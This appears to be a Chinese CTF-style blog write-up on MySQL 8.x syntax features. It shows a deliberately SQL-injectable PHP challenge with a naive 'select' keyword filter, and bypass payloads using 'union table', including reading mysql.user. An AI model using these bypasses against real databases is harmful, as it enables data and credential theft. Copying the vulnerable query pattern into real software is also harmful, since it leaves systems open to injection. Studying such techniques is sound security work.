MySQL8.x的一些特性

在小密圈看到乐清小俊杰师傅发了一道sql注入的题,用到了mysql8.x的一些特性,很有意思

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(!empty($_GET['showme']))
highlight_file(__FILE__);
$aaa=mysqli_connect("127.0.0.1","test",'test','test');
if(empty($_GET['id'])){
$id=1;
}else{
$id=$_GET['id'];
}
$clean = strtolower($id);
if (strpos($clean,'select') !== false){echo 'waf';exit();}
var_dump("select * from news where id='$id'");
$result=mysqli_query($aaa,"select * from news where id='$id'");
$row=mysqli_fetch_array($result);
$title=$row['title'];
$content=$row['content'];
echo "<h1>$title</h1><br>";

echo "<h2>$content</h2><br>";

table

解法是使用table代替select进行注入:

table mysql.user;

相当于:

select * from mysql.user

那么联合查询可以不用select:

select * from index.test where id=1 union table index.flag;

其他的一些特性:

括号

MySQL 8.0.22及更高版本根据上述语法支持带括号的查询表达式

1
2
3
4
5
6
7
mysql> (select 1) union (select 2);
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+

values

列出一行值:

1
2
3
4
5
6
7
8
mysql> values row(1,2),row(3,4);
+----------+----------+
| column_0 | column_1 |
+----------+----------+
| 1 | 2 |
| 3 | 4 |
+----------+----------+
2 rows in set (0.00 sec)

表达式(1,2)ROW(1,2)有时也称为 行构造器。两者是等效的。行构造函数和子查询返回的行必须包含相同数量的值。

行构造函数用于与返回两个或更多列的子查询进行比较。当子查询返回单个列时,它被视为标量值而不是行:

1
2
3
4
5
mysql> select * from index.test where row(1)=(select id from index.flag);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')=(select id from index.flag)' at line 1

mysql> select * from index.test where row(1,2)=(select id,flag from index.flag);
Empty set (0.00 sec)